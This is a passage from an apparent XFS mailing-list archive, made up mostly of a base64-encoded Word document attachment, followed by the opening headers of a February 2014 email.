BDY0SHD1AVVhN8QJDPFVTzMJZMo6kCjhEg6TZrmUt8bDQUDZo+iiPqTYTiKx2uQDu7ygl7OzSM7G aBWYA3AmaEEzOKmwhQspU7DtVYRVtVInllY1qpkm6UjLTdYuNod4cHluGizm3oQhB8FoBF5egtcE WjQcfjAjA+13G6MsLCYKZxkiGeIBSWOk7Z6NUdUEKcuVGUO0HTYZ9MHyJV4rSKtrtq8h7SRBKoqr HSMui97rRCnL4GmUgNvRcmRxsThZjPYaXn1xftFDPk4a3hDOzXAZJRB1qedKzAJ4P+UrYdP+pcVs qnwazXpmmFsEVXg1Yv0+Y7DTBxIh1TqWoU0N8yhNARZrSVb/+UVw61kZUNKNTqbFwjIkw7+mBfjR DS0ZDomvisEurGjf2du0lfKRIqIbDvZQn43ENobw61QFewZUwusP0xH0Dby70942j9zmnBZd8Y2Z wdl1zJIQp+1Wl2hWyRZuGlKug7krqAe2lepujDu9Kabkz8iUYhr/z0zR+wm8jVgY6Aj48DZZYKQr peFxoUIOXSgJqd8RMEiY3gHZAu9/4TEkFbzTNr+C7OpfW3OWhylrOFSqbRogQWE/UqEgZAvaksm+ lzCrpnuXZclSRiajCurKxKrdJ7uE9XQPXNJ7u4dCSHXTTdI2YHBH88+9TyuoH+ghp1hvTifL915b A//05GOLGYxy+7AZaDL/5yrm48F0V7X0hjzbe4uG6AfTMauWVQUIK2wF9bTsX1GFU261tmPNWDy/ mCkHUZy1GBbzgSiBd0pI/4P9jwqf2a8jekPt8W3orQg+bmhmkDaQ1efs4IF0g7SLfRic7KJNJs3K ujYdnbTXss36jCfdXO4RZ2vNThLvUzo7H85ccU4tnqWzUw87vrZrx7oaInu0RGFpmB1sTGDMl7Xi ly/evw2BXodvCCOmpEkm+I4lMMzQXVMHUPxWoiFd/QsAAP//AwBQSwMEFAAGAAgAAAAhAFUcayuC BAAAgQwAABEAAAB3b3JkL3NldHRpbmdzLnhtbLRXW2/bNhR+H7D/YOh5rnW3rNUpbNlaWyTrUKc/ gJJomwgvAkXZcX/9DkUpqhMmKFbsydS5fOfKw+P3Hx4ZnZywbIjgS8d75zoTzEtREX5YOt/u82ni TBqFeIWo4HjpXHDjfLj5/bf357TBSoFYMwEI3qSsXDpHpep0NmvKI2aoeSdqzIG5F5IhBZ/yMGNI PrT1tBSsRooUhBJ1mfmuGzs9jFg6reRpDzFlpJSiEXulVVKx35MS9z+DhvwZu0ZzI8qWYa46izOJ KfggeHMkdTOgsf+KBiEeB5DTW0GcGB3kzp77lmQf7lnI6knjZ9zTCrUUJW4aKBCjJlyGCH+C8cIX QE+pfgepnhnbMw0F6p7bnUbPG/pC31JtU8VbUkgkTZmhAbQXrEw/HbiQqKDQVGcvdG6go74LwSbn tMayhCJBO7quM9MMCEbsdwopDOymxpR2/VlSjADsnB4kYtBZS8dQOp0K71FL1T0qdkrUIHRC4PPc TQxkeUQSlQrLXY1KQMsEV1LQQa4SfwuVQZdKSKLR2AuhuFD4H6ldGr5AgVRLZ+pdC/Xkzv/ZKG10 Ma9GoP7jGc41dYC5UjR3SPtiTjtzHwGIIwZZNdT+jt2JCutMtZK8KNyrhdcKXdagPl1O7YYEzA9J KgyppninLhTnkMwd+Y5XvPrcNorAre1u2i948JYDmGvLX2Da3F9qnGOkWijb/2Ss64yckvqOSCnk J15Br/6qMWiRsZwwjKtG11UfvkLXDWVw3cVivgr6YmjuyHHjOM4Dk6VnnHnkJ3MrZzPPVpmN4wXh KrRzwiBeRzYdf+1HidWDwPM2fm7TCXQ8sZWzcheJb+Vk/iroB8N1pGESBov+fl9zoigKQ6tvUeIF drQoC4Ksv9bXaLHnR5E1O3HkZr7V6zh2k2GcPUPbBtvAijZPgmy7seVgvopce0bnGfhmzc4ijLKt NZ6FBrPW9PV+W2zDVzpx5frbaG3zeu3NF/b6bNbz2J6dTR4mibV3tqGbeNa8bRM3W1lvyTYJ8rm1 Pts8cBcrm9e5H/q+1U4O3bvu7MD91UWFW8tSvQjoOW9OehROmBmjGWKFJGhyp1cFGKgsLeTDmvCB X2BYlfCPnF1bDMzp1DAahijN4e0aGF2xWVqRpt7gfQdL75A8jLi9hLRS4Z38/ISl310s/5KirY21 s0S1GXGDOS8MezzC1S1hA71pi92gxeG5/4HV8urLSWrA2Ziec6pgS+yeilvED8Mkk+306zctChOR yp3eJPEdqmt4okGkOHhLh5LDUXl6vCv4qmCj7D6Kg9/z/I4HX5rXfaBSRwbS/UELmCNI9YeRFgy0 YKTBvmTkwpEWDbRopMUDDTbac3qE90jCsvIAj+5w1PS9oFSccfVxIC6dFySThOaIagx11bsMtJdI O0K/3DSTU4ofYVPCFVGwqNekYuhRL05+N1R7aYouolVXshpJC9dX1EmFFAL1rlRXylA62LyufTmn FS4JtOPuwopxdfrDOE5Jo3a4hi1LCQkhd4vEnx3y+N/h5l8AAAD//wMAUEsDBBQABgAIAAAAIQA6 ySD67gkAAM5HAAAaAAAAd29yZC9zdHlsZXNXaXRoRWZmZWN0cy54bWzsW82O20YSvi+w70DwPh5p JGs8g8jBeBzHAziOMz/Yc4tqjYgh2VySGnly2niRU2572VMueYLFAll4HSTPIL3RVlc3KYpUi9VD +rYHQ8Nmd31VXVVfteSuL758HwbOPU9SX0Rjt/+k5zo88sTUj27H7s31q4NnrpNmLJqyQER87D7w 1P3y+Z//9MXyNM0eAp46ICBKT5exN3bnWRafHh6m3pyHLH0S+l4iUjHLnngiPBSzme/xw6VIpodH vX4P/4oT4fE0BbRzFt2z1NXiwro0EfMIsGYiCVmWPhHJ7WHIkrtFfADSY5b5Ez/wsweQ3RvlYsTY XSTRqVbooFBILjlVCumPfEVSs2IHrlr5UniLkEcZIh4mPAAdRJTO/XhjxmOlgYnzXKX7fUbch0E+ bxn3hzW8wmSKD14mbAmu2AisiduxGVO1KAzUPkj/brxaldjv7TNGe0SKKHSgqLCNmWsSMj8qxDxu a8qbC/nQJr6/TsQiLtSJ/XbSLqK7QpZMSwvNeiPMvLJpqZWAWupezVnMXSf0Ti9uI5GwSQAaLftD R0ak+xyoYiq8l3zGFkGWysfkXaIf9RN+vBJRljrLU5Z6vn8NFAJSQh8Evj6LUt+FN5yl2Vnqs50v 53LWzjdempWkvfCnvnsoEdPvQeY9C8bu0VE+ci412BoLWHSbjyWLg8ubsiZjl0cHN1dyaAJyxy5L Dq7OpLBDNDP/LJkbbxkPT6hKzDzIPBDDZhkHEgIWk0IDX3r36BgYTT1cLuTmskUmNAgKALCyWHis 7DhwEzDVlWJseMtnb4R3x6dXGbwYu4gFgzcX7xJfJECjY/fkRGLC4BUP/df+dMplgdBjN9Hcn/K/ zHl0k/LpZvy7V0jPWqInFlEG6o+OMQqCdPrVe4/HkiZBdMSkh9/KBcBh4I4SDiq08DfaqIEKKg7+ NYfsKx/uRJlzJkuag/rvBUKrF62BjqRFZQNQrpWug/Yihu1FPG0vAoO33V4ct9cCDjJtPaJioxSV dKdmwlPBV96HwcmekJUralHUuKIWNI0rajHSuKIWEo0rahHQuKLm8MYVNf82rqi5c+8KjyFxVaNo gLtBSuxrPwu4XL+XgPotqU6XGucdS9htwuK5IwtrVe19ZHm1mGQ0VZFOH0+WV1ki5HGzYUegOsvU fTQnfxXGc5b6cCpvAmq59dfy6ON8nfhwfG2AeqqCr2YTHkx2lrB3AfP4XARTnjjX/L3yqMX6t8K5 UqeMRuVauvWNfzvPHDgVypLbCDYybLp5J5T8N36Ke7A3mUYGU5qEk3w4MsSlWfg3fOovwnxrCKeR keJzCzdXIFDF/Vs0lC6qZ1ejFdIBFBNUubA3AeUT9FfFxV6+9DFFf1WKHimfoL8qXI+Uj/Gx37/W TPMSflZxSOl1bJ275yIQyWwR5DnQSA/H1hlcQNBMsE7iQj6JJI6tM3iLPp0zz4NvbpQ4tfbFhkct UKzdoVAw2ei2WDulQnt9C4usHVTBOrLAase1FkDWpHvJ7335I7BtMUCWLs6ajek8MOwAlCDSGfq7 hciaz9BHBs6jolxE8HNJyh0a2sCQeVQ0HU+q3ln4uF3hswBqVwEtgNqVQgsgQ3yYzzxFTaSDtC+O FljWtFxUMQw7MjMfWzNzAWRXAjqqm4TzlyF7zbFQr5sEFGsH1esmAcXaO5VaVtRNAlZndZOAZaga Zh+VOdXGKOu6WQYqTgIEi7ohbwJQN+RNAOqGvAlA7cm7GaQ78iZgWXNDwall8iYA4RSbr/oFUJm8 CUDW3KDYTv9mlNc9lLL/y20H5E1AsXZQnbwJKNbeMZE3AQun2ERCBaugOgJWN+RNAOqGvAlA3ZA3 Aagb8iYAdUPeBKD25N0M0h15E7CsuaHg1DJ5E4Cs6aEAKpM3AQin2HDDTvLGrP/s5E1AsXZQnbwJ KNbeqRBqcUglYFk7qIJVkDcBC6fYBIPGwuC2Maob8iZY1A15E4C6IW8CUDfkTQBqT97NIN2RNwHL mhsKTi2TNwHImh4KoDJ5E4CsuWEneWMyfnbyJqBYO6hO3gQUa+9UCLXgOQKWtYMqWAV5E7AwXlqT NwEIpzwWyMaibsibYFE35E0A6oa8CUDtybsZpDvyJmBZc0PBqWXyJgBZ00MBVCZvApA1N+wkb8yR z07eBBRrB9XJm4Bi7Z0KoRbkTcCydlAFq6A6AlY35E0AwsBsTd4EIJzyCCDMIhs3dUPeBIu6IW8C UHvybgbpjrwJWNbcUHBqmbwJQNb0UACVyZsAZM0N8p4t3BclX0/tG4KAes8gv9VABjwyOIkKqA28 5DOeQFchb74d0hIwt9AC0RAeVBNfCHHn0C52DwwBQobyJ4Ev8Er3A97SKTUiDI73dBJcf3vuvFYN MLV1GFLbN2+ge6jcLoTtSbJxCPTMHmJo2Ynzm+VSGjQIyb4u3QKEPaEX0BDEsONHtvjAHOyn0o0+ +F+2GhD+BjBcU0fx5gDjQTPUPpReDcZw/R1hN70XuVL6GvzmsKTmbV3G3KtlJq9879OwX9NQbYSD l8WV1+p6QfMVatKkGLhkEqgWMvjjIpqCYUvdfaWcNX3PlCh4f86D4BuWyL3ORGyeGvBZpt72e1jh KqImIstEaF6f4AVw1GSXAPB5WRn1KI0wB0O0CCc80dfJTSF3tGOr1T1Wg/epu2zWaytIN8E/qGmi Wx1QkQmDnrlvZQscJgbrmaIgb0vcpAs0FaZwa1mv7PX6g+HZ8Fyth65K6dmJwjhP4RMUx1GzAVu5 7C1S8Ct2CVbzGW3rqz6+clbn4zsN03oZNa41P044tHcDw/RV96N6PINmx1R1LmitdI+knoVP9Um6 dXKI/0MsH3a3Tuodgo+t/tOxe+2H0N3+li+dSxEyvBeZ95/ufIn9pzvfeNBfW5WG+1VqQB2qvUq/ LzWg6jHdgLoBV12oJPduxWeTe+v5g97VvbGGqDXFIzHkEAELhuoULseWbNoE+t8TWuDWuzwZ2FM1 00ym2988UKxJe+ynRZ5kE2xZBp7PgeR9bFWVYgGeHY6OdfEtzUEGlGUBp5wMnqJysCcwB+XpgIYZ OpiLMIV+2aaYNe8t1d+wWdK68m6v/rH6df239Y+r31cfV/91Vp9Wf6x+g3+/rz+sPq4/rP+++s1Z /RPe/mv1abdPNI9tOUXHsNkpJg+YbdyirE38jGoWzQTcFabHj/aiWdX/x89mt+uVYPUzxM1/uo2e UVNKdxY9z2rR84IFgYBGdey1o3KQPraZY6j5QGcyqaCkVtRhLndsDmVOUlZeyIoBrF/qCfdhU7b6 2kHlsqXGIH0bTh5kqjqpuWb1y+rX1af1D+sPzurf658g5v5Y/wCE9fERBPWsKcQqHjO7R5+/aueI Yh8/08bmTJk+/x8AAAD//wMAUEsDBBQABgAIAAAAIQDVL5HRZgkAAN1EAAAPAAAAd29yZC9zdHls ZXMueG1s7FtPb9tGFr8vsN+B4N3R30ixUaVwnGZjIE1Ty0bPI2pkESE5WpKK457aLPa0t73saS/7 CRYFWqQp2s8gfaN982ZIUaRGfGMytz0YMocz7/f+ze+N7HlffPk+DJx3PE58EU3c3qOu6/DIE3M/ up24N9cvTp64TpKyaM4CEfGJe88T98unf/7TF3dnSXof8MQBAVFyFnoTd5mmq7NOJ/GWPGTJI7Hi EbxciDhkKTzGt52QxW/XqxNPhCuW+jM/8NP7Tr/bHblaTEyRIhYL3+PPhbcOeZTi+k7MA5AoomTp r5JM2h1F2p2I56tYeDxJwOgwUPJC5ke5mN6wIij0vVgkYpE+AmM6SqOOFAXLe138LQxcJ/TOLm8j EbNZAM676w3dp+C5ufCe8wVbB2kiH+M3sX7UT/jxQkRp4tydscTz/WtwKQgIfZD18jxKfBfecJak 54nPDr5cylkH33hJWpD2zJ/7bkciJt+DzHcsmLj9fjZyITXYGwtYdJuNxeuTq5uiJhOXRyc3Uzk0 A7kTl8Un03MprINmZp8Fc1d7xsMTqrJiHgQDxLBFyiEpIEek0MCXOdgfQ76oh6u19Ctbp0KDoAAA K4qFx5LHIVcgc6YqgeEtX7wS3ls+n6bwYuIiFgzeXL6JfRFDkk7c01OJCYNTHvov/fmcy/2ix26i pT/n3y15dJPw+W782xeY/FqiJ9ZRCuqPxpgFQTL/6r3HVzJtQXTEZIRfywWQOBCOAg4qtPZ32qiB EioO/jWD7KkYHkRZciZ3uIP6HwVCq9eNgfrSoqIBKNdK10FzEcPmIh43F4HJ28wX4+ZaAK83jYjK jUJW0oOaCk8lX9EPg9MjKStXVLKodkUlaWpXVHKkdkUlJWpXVDKgdkUl4LUrKvGtXVEJ59EVHkPi KmfRAL1B2tjXfhpwuf4oAfUaUp0uNc4bFrPbmK2WjiysZbWPkeV0PUtpqiKdPpwsp2ksottaj0B1 llv3wZz8VbhassSHU1KN6/sNXX8tTz3OX2J/Xgv1WCVfxSY8mBwsYW8C5vGlCOY8dq75exVRi/Wv hTNVp4xa5RqG9ZV/u0yd6RJLbi3YyOB0syeU/Fd+gj44uplGBlPqhJNiODLkpVn413zur8PMNYTT yEjxuUWYSxCo4nEXDWWIqrur1goZAIoJqlzYm4DyCfqr4mIvX8aYor8qRQ+UT9BfFa4Hysf8OB5f a6Z5Dl9aHdL2Glvv3QsRiHixDrI9UEsPY+sdnEPQTLDexLl8EkmMrXfwHn06554H39woeWodix2P WqBYh0Oh4Gaj22IdlBLt9Swssg5QCatvgdWMay2ArEn3ir/z5d/EbIsBsnR+1qzdzgODB6AEkc7Q 365FWn+G7hs4j4pyGcGfSxLu0NAGhp1HRdP5pOqdRYybFT4LoGYV0AKoWSm0ADLkh/nMk9dEOkjz 4miBZU3LeRXDtCMz89iamXMguxLQUt0knL8Mu9ecC9W6SUCxDlC1bhJQrKNTqmV53SRgtVY3CViG qmGOUZFTbYyyrptFoPwkQLCoHfImALVD3gSgdsibANScvOtB2iNvApY1N+ScWiRvAhBOsfmqnwMV yZsAZM0Niu3034yyuodSjn+5bYG8CSjWAaqSNwHFOjom8iZg4RSbTChh5VRHwGqHvAlA7ZA3Aagd 8iYAtUPeBKB2yJsA1Jy860HaI28CljU35JxaJG8CkDU95EBF8iYA4RQbbjhI3rjrPzt5E1CsA1Ql bwKKdXRKhJofUglY1gEqYeXkTcDCKTbJoLEwuW2Maoe8CRa1Q94EoHbImwDUDnkTgJqTdz1Ie+RN wLLmhpxTi+RNALKmhxyoSN4EIGtuOEjeuBk/O3kTUKwDVCVvAop1dEqEmvMcAcs6QCWsnLwJWJgv jcmbAIRTHgpkY1E75E2wqB3yJgC1Q94EoObkXQ/SHnkTsKy5IefUInkTgKzpIQcqkjcByJobDpI3 7pHPTt4EFOsAVcmbgGIdnRKh5uRNwLIOUAkrpzoCVjvkTQDCxGxM3gQgnPIAINxFNmFqh7wJFrVD 3gSg5uRdD9IeeROwrLkh59QieROArOkhByqSNwHImhvkPVu4L0q+ntozJAH1nkF2q4EM2DcEiQqo DbziCx5DkxWvvx3SEDCz0ALRkB5UE58J8dahXeweGBKEDOXPAl/gle57vKVTaEQYjI90Elx/c+G8 VA0wlXWYUvs3b6B7qNguhO1JsnEI9EzvV9Cys8pulktp0CAk+7p0CxC2yF1CQxDDjh/Z4gNzsJ9K N/rgv2w1IPwOYLimiuItAcaDZqhjKN0KjOH6O8Luei8ypfQ1+N1hSc3bu4x5VMtUXvk+pmGvoqFy hIOXxVXUqnpB8xVqUqcYhGQWqBYy+OUymoNh0ASI/xVTwZq/Z0oUvL/gQfA1i6WvU7EyTw34IlVv e12scCVRM5GmIjSvj/ECOGpySADEvKiMepRGmJMhWoczHkMH1zFX9w+4Wt1jNUSf6mWzXntJukv+ QUUT3eqAiswY9Mx9I1vgcGOwrikLsrbE3XaBpsIEbi3rld1ubzA8H16o9dBVKSM7UxgXCXyC4jhq NmBvL3vrBOKKXYLl/Yy29VQfX3FXZ+MHDdN6GTWuND/OODTPAsP0VPejejyHZsdEdS5orXSPpJ6F T9VJunVyiHtBPhxundQego+9/tOJe+2H0Oz7mt85VyJkeC8y6z89+BL7Tw++8ZLqMPqr0IA6VL5K vi80oOox3YC6A1ddqKTw7uVnXXir+wejq3tjDVlrykdiyiECFgzVKVzMLdm0CfR/JLUgrG+zzcAe q5lmMt3/5oFiTdpjPy3yJJthyzLwfAYk72OrqrQSENnhaKyLb2EOMqDkKpxyOniMyoFPYA7K0wkN M3Qy52kK/bJ1OWv2LTXe4CxpXdHbm39uft7+sP375vfNx82vzubT5o/Nb/Dz+/bD5uP2w/Zvm9+c zb/g7X83nw7HRPPYXlB0DpuDYoqA2cY9ytrlz6hi0ULAXWF6/ugomlX9f/7svF2tBJt/Q9780m72 jOq2dGvZ86SSPc9YEAhoVMdeOyoH6WObOYfqD3Qmk3JKakQd5nLHllDmJGVlhSwfwPqlntAPu7LV 0wEqli01Btu35uRBpqrTSmg2/9n8vPm0/XH7wdn8tP0H5Nwf2x+BsD4+gKCe1KVYKWLm8OjzV+Uc kfvxMzk2Y8rk6f8AAAD//wMAUEsDBBQABgAIAAAAIQBU6/o2+wEAAOsDAAAQAAgBZG9jUHJvcHMv YXBwLnhtbCCiBAEooAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJxT3W7TMBi9R+Idotyv bko3puqrJ9QJ7QLYpGbbtXG+tBaJbdletfIuvANCQuOGd8gj8TmhmQtckYvqfD89Pjk+gYvHtsl2 6LwyepkXk2meoZamUnqzzG/LtyfneeaD0JVojMZlvkefX/CXL+DGGYsuKPQZUWi/zLch2AVjXm6x FX5CY02T2rhWBCrdhpm6VhIvjXxoUQc2m07PGD4G1BVWJ3YkzAfGxS78L2llZNTn78q9JcEcSmxt IwLyD1FOM6lMaIGNXShNEE2pWuTzM+qPFdyIDXo+AzYAuDeu8vzVbA5sgLDaCidkIAt5cX46BZY0 4I21jZIikLv8vZLOeFOH7Lr3IYsEwNIVIG/WKB+cCntOVGkJ75QmKcUpsAGRNic2Ttit5yQnqWAt RYMrcoDXovEI7LkBVyji7d4IRYphFxY7lMG4zKvPdL+zPPsoPEbflvlOOCV0IP/i2lD0uLE+ON59 6b52T903+v3Z/ei+A6O1YdTD9B8pVnNe9AsEjhcjwSCHBsdCSxUa9Nc1vWb4h+4i1d1rGFQnchI4 nvEH68q0Vug9HT4i8vqTv7WluYzx+W3ncTOJwL0K27UVMmameH0UhmQEa8oMVnS7B8LnBlyR9a6J p1KQ9Aarw87fgxivu+Hb5cV8MqWnz9OhR6EYPyr+CwAA//8DAFBLAwQUAAYACAAAACEAjLtxsz4C AADpBwAAEgAAAHdvcmQvZm9udFRhYmxlLnhtbNSVS4/aMBSF95X6HyLvhzghnTJoYETTInXRLlpG XRvjEKt+RLaZlH/fazs8RoQ2dNcgonCufWJ/OTc8Pv2SInlhxnKtZigbYZQwRfWGq+0MPa+WdxOU WEfUhgit2AztmUVP87dvHttppZWzCcxXdirpDNXONdM0tbRmktiRbpiCYqWNJA5+mm0qifm5a+6o lg1xfM0Fd/s0x/gedTZmiIuuKk7ZR013kikX5qeGCXDUyta8sQe3dohbq82mMZoya2HPUkQ/Sbg6 2mTFhZHk1GirKzeCzaRxRam3gukZDldSoETS6eet0oasBbBrswLNO3BJO1VEgvgD7upp21BqiNKW ZVB9IWKG8Dt8caDUe9CaGMvccWAe5YpILvYHleycjnrDHa0P8gsx3K8olizfQmFn1xju1x0oKhkk 4rWSX4wZv1Zo8JmczQIFfI7OsPo0ZucCxYpLZpOvrE2+aUlUL5Ac5/gejwFMAd8cropeIGXZB8QE 3wBwIJFPsPB8sVyeiJSgvJ8UWaeciDx0Si+RsP8s+gwnUhLB14ZfIbEMBDyRAjjA+QYStuXWxvFD Sfgo5OckChAW5VG5icRDIDqcxIrU8OyugPgAkfAIfCiKqyAw7ovEGQil3crs2GrfsFsiEh4txuNT RDoF3qWhsU5gDsr1iGAcgjUcTEkkJOQaGd8kkYtvmtsi8m/NchkRXPRE5O8kslsjsgAMInlWHP6+ WPLl+x/D4rsmfvq7pj8sZ0j+j7B0r1o7/w0AAP//AwBQSwMEFAAGAAgAAAAhAFJQL80FAwAA4A0A ABIAAAB3b3JkL251bWJlcmluZy54bWy0V0tu2zAQ3RfoHQwCXcaSbPlTI06Qb5GiKAo0Rde0RNtE +BFISm7WvURv2St0SImyExtqlMgb0+LMPM57Iw6p0/NfnPUKojSVYo6ifoh6RCQypWI1Rz/ub0+m qKcNFilmUpA5eiQanZ+9f3e6mYmcL4gCxx5gCD3bZMkcrY3JZkGgkzXhWPc5TZTUcmn6ieSBXC5p QoKNVGkwCKPQ/cuUTIjWgHOFRYE1quD4PprMiIC1llJxbHRfqlXAsXrIsxNAz7ChC8qoeQTscOxh 5BzlSsyqhE7qhGzIrEyoGnyE2mNxYN0y8lomOSfCuBUDRRjkIIVe02xL47VoQHHtUyqaSBSceb9N FsV769WUX1KDa4U3UIot4B7cATHSMoizUgdb321VnyNGYROZqiIWos7hJSk8XdNnwjEVNczrpNkV F7bEW97vT0rmWZ1ORt+Gdiceaiy7M1tkFo7dztulplsB7G3d72ucEdTjyexuJaTCCwYZbaK4Z99I dAbdAi+0UTgxX3Pee/J0l85R6FyEpinYCszmaBTfRJPRZYwCG8xzZugXUhB2/5gR7+NmmZ0tvQzP mLcNbi6nVxdRWFpYYQ0UBr8W9DRlvHNUekFDu+X15CJnjJg6/p78qk1/f/+p5z8nHoWRZeWefVM2 awOcq9H7wBII/mcS9J4MXHbB1pEKy9/ilFZ4WGOxcr14OPbeFboqF1G3UhgNnlgnFF6pn+Btuzc0 IIi+AE2fz1EB8ClZYhDV0oAEHBaMIJBNeFeuyOIY6HHQ2gooauRK9X/5UpJQjqvKAOCufh8G/Q70 i+LYS+KV3hXQmRsUPEx3cAy6wy7oDqL6DThE15lb0x0eg27cCd3ptKm6A2tuTTc+Bt1RF3RhezfR debWdEfHoDvugm48bGx+ztyaLtz5um9Vky7ojsLGVuXMrelOjkF32gndSWOrGllza7rwIdJ9dT92 QXccN7YqZ34BXTiQdi5J9hyG2wLEwa+9I5UH747Hnb0suMuS7xzg6Y5zGMsvs7N/AAAA//8DAFBL AwQUAAYACAAAACEA0fwD/7oBAAADBQAAFAAAAHdvcmQvd2ViU2V0dGluZ3MueG1s5JTbTuMwEIbv kXiHyPfUSVQKjZoiFQRCWq12OTyA4ziNhe2xbLfZ8vQ7SXoIhZXo9ebG9hz+zMwXZ3bzR6toLZyX YHKSjGISCcOhlGaZk9eX+4trEvnATMkUGJGTjfDkZn5+NmuyRhTPIgSM9BGqGJ9pnpM6BJtR6nkt NPMjsMKgswKnWcCjW1LN3NvKXnDQlgVZSCXDhqZxPCFbGfcdFagqycUd8JUWJnT51AmFimB8La3f qTXfUWvAldYBF95jP1r1eppJs5dJxp+EtOQOPFRhhM3QviLaSmF6Enc7rUikefa4NOBYoXCCTTIm cxxfKdd+u0ZNJkuc/nQyuYyTSTrtAgooN3dyjc41U+gltA3H6f0QVdhZ4731SS7rL8wvYD/HLiAE 0Ed2LGhRuvYd4ZBjkDrBQP+eE/w2cGMZxy66PQcFCIutAvRlqEFlp2UWHyo6LdcNOz8llXYUtk23 PG5rqcojKOnV5XSMT9pDUcDffq8giN30vuZylf6DzNAxYJPEh/iPdPae/5pPj2o+69cdqCNrSw5s kFq+i3twCweNF667NkwpaH79fMADJg1+XfO/AAAA//8DAFBLAwQUAAYACAAAACEAk6O1NoEBAADi AgAAEQAIAWRvY1Byb3BzL2NvcmUueG1sIKIEASigAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAfJJRT4MwEMffTfwOpO9QCotBsrFEzZ5cYiJG41ttb1sdlKbtYHx7C2xsGONb7+5/v9792/ny WBZeDdqISi4QCULkgWQVF3K7QG/5yk+QZyyVnBaVhAVqwaBldnszZypllYYXXSnQVoDxHEmalKkF 2lmrUowN20FJTeAU0hU3lS6pdaHeYkXZnm4BR2F4h0uwlFNLcQf01UhEJyRnI1IddNEDOMNQQAnS GkwCgi9aC7o0fzb0lStlKWyr3E6nca/ZnA3FUX00YhQ2TRM0cT+Gm5/gj/Xza7+qL2TnFQOUzTlL rbAFZHN8ObqTOXx9A7NDegxcgWmgttKZqfeHvuec6KzeQ9tUmhvXNolcHwfDtFDWPeAAnSScuqDG rt2LbgTwhzarBXPX9Jxfle4iDbXo/kJGkl4yxm6h3r9hTuCecyQd/DtX3uPHp3yFsigksU+IT5Kc 3KckSsPws9to0t85NCTK02z/E2d+GPlhnJMkjWdT4hkwmDP9ldkPAAAA//8DAFBLAQItABQABgAI AAAAIQBruNnWrQEAAJsHAAATAAAAAAAAAAAAAAAAAAAAAABbQ29udGVudF9UeXBlc10ueG1sUEsB Ai0AFAAGAAgAAAAhAB6RGrfzAAAATgIAAAsAAAAAAAAAAAAAAAAA5gMAAF9yZWxzLy5yZWxzUEsB Ai0AFAAGAAgAAAAhAEg23qNbAQAAxwUAABwAAAAAAAAAAAAAAAAACgcAAHdvcmQvX3JlbHMvZG9j dW1lbnQueG1sLnJlbHNQSwECLQAUAAYACAAAACEAQtf4Pm8NAADQSwAAEQAAAAAAAAAAAAAAAACn CQAAd29yZC9kb2N1bWVudC54bWxQSwECLQAUAAYACAAAACEAE8ztClYCAACJCAAAEAAAAAAAAAAA AAAAAABFFwAAd29yZC9mb290ZXIxLnhtbFBLAQItABQABgAIAAAAIQAbtVsd/QEAAEwGAAASAAAA AAAAAAAAAAAAAMkZAAB3b3JkL2Zvb3Rub3Rlcy54bWxQSwECLQAUAAYACAAAACEAeEqUTf0BAABG BgAAEQAAAAAAAAAAAAAAAAD2GwAAd29yZC9lbmRub3Rlcy54bWxQSwECLQAUAAYACAAAACEApV59 LccGAADXGwAAFQAAAAAAAAAAAAAAAAAiHgAAd29yZC90aGVtZS90aGVtZTEueG1sUEsBAi0AFAAG AAgAAAAhAFUcayuCBAAAgQwAABEAAAAAAAAAAAAAAAAAHCUAAHdvcmQvc2V0dGluZ3MueG1sUEsB Ai0AFAAGAAgAAAAhADrJIPruCQAAzkcAABoAAAAAAAAAAAAAAAAAzSkAAHdvcmQvc3R5bGVzV2l0 aEVmZmVjdHMueG1sUEsBAi0AFAAGAAgAAAAhANUvkdFmCQAA3UQAAA8AAAAAAAAAAAAAAAAA8zMA AHdvcmQvc3R5bGVzLnhtbFBLAQItABQABgAIAAAAIQBU6/o2+wEAAOsDAAAQAAAAAAAAAAAAAAAA AIY9AABkb2NQcm9wcy9hcHAueG1sUEsBAi0AFAAGAAgAAAAhAIy7cbM+AgAA6QcAABIAAAAAAAAA AAAAAAAAt0AAAHdvcmQvZm9udFRhYmxlLnhtbFBLAQItABQABgAIAAAAIQBSUC/NBQMAAOANAAAS AAAAAAAAAAAAAAAAACVDAAB3b3JkL251bWJlcmluZy54bWxQSwECLQAUAAYACAAAACEA0fwD/7oB AAADBQAAFAAAAAAAAAAAAAAAAABaRgAAd29yZC93ZWJTZXR0aW5ncy54bWxQSwECLQAUAAYACAAA ACEAk6O1NoEBAADiAgAAEQAAAAAAAAAAAAAAAABGSAAAZG9jUHJvcHMvY29yZS54bWxQSwUGAAAA ABAAEAAGBAAA/koAAAAA ------=_NextPart_000_209E_01CF214D.54483350-- From linkinjeon@gmail.com Mon Feb 3 21:49:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C8EBE7F37 for ; Mon, 3 Feb 2014 21:49:38 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A3F0A8F8039 for ; 